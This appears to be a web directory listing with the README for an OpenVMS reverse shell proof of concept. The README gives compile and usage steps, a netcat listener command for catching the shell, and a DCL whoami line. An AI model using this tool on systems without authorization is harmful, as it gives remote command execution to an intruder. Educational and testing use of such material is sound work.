Index of /AXP/OpenVMS/vshell/

NameLast ModifiedSizeType
../ -  Directory
README.txt2026-Aug-03 19:24:011.8Ktext/plain; charset=utf-8
vshell.c2026-Aug-03 18:45:4613.1Ktext/x-csrc; charset=utf-8
vshell.exe2026-Aug-03 18:46:4312.0Kapplication/x-msdos-program
                     /$$                 /$$ /$$              /$$$$$$                                /$$    /$$ /$$      /$$  /$$$$$$ 
                    | $$                | $$| $$             /$$__  $$                              | $$   | $$| $$$    /$$$ /$$__  $$
 /$$    /$$ /$$$$$$$| $$$$$$$   /$$$$$$ | $$| $$            | $$  \ $$  /$$$$$$   /$$$$$$  /$$$$$$$ | $$   | $$| $$$$  /$$$$| $$  \__/
|  $$  /$$//$$_____/| $$__  $$ /$$__  $$| $$| $$            | $$  | $$ /$$__  $$ /$$__  $$| $$__  $$|  $$ / $$/| $$ $$/$$ $$|  $$$$$$ 
 \  $$/$$/|  $$$$$$ | $$  \ $$| $$$$$$$$| $$| $$            | $$  | $$| $$  \ $$| $$$$$$$$| $$  \ $$ \  $$ $$/ | $$  $$$| $$ \____  $$
  \  $$$/  \____  $$| $$  | $$| $$_____/| $$| $$            | $$  | $$| $$  | $$| $$_____/| $$  | $$  \  $$$/  | $$\  $ | $$ /$$  \ $$
   \  $/   /$$$$$$$/| $$  | $$|  $$$$$$$| $$| $$            |  $$$$$$/| $$$$$$$/|  $$$$$$$| $$  | $$   \  $/   | $$ \/  | $$|  $$$$$$/
    \_/   |_______/ |__/  |__/ \_______/|__/|__/             \______/ | $$____/  \_______/|__/  |__/    \_/    |__/     |__/ \______/ 
                                                                      | $$                                                            
                                                                      | $$                                                            

OpenVMS Reverse Shell PoC  
=========================

This program demonstrates connecting to a remote host and executing
DCL commands over the network connection for educational/testing purposes.

Compilation on OpenVMS:
   $ CC/DEFINE=(_SOCKADDR_LEN) vshell.c
   $ LINK vshell.obj

Usage:
   $  vshell :== $SYS$SYSROOT:[.PATH.TO.VSHELL]vshell.exe
   $  vshell <remote_host> <remote_port>

On the remote host, start a listener first:
   <remote_host>$ nc -l -p <port>



### Here is a VMS way of running whoami 

WRITE SYS$OUTPUT F$GETJPI("","USERNAME")
Webserver 1.0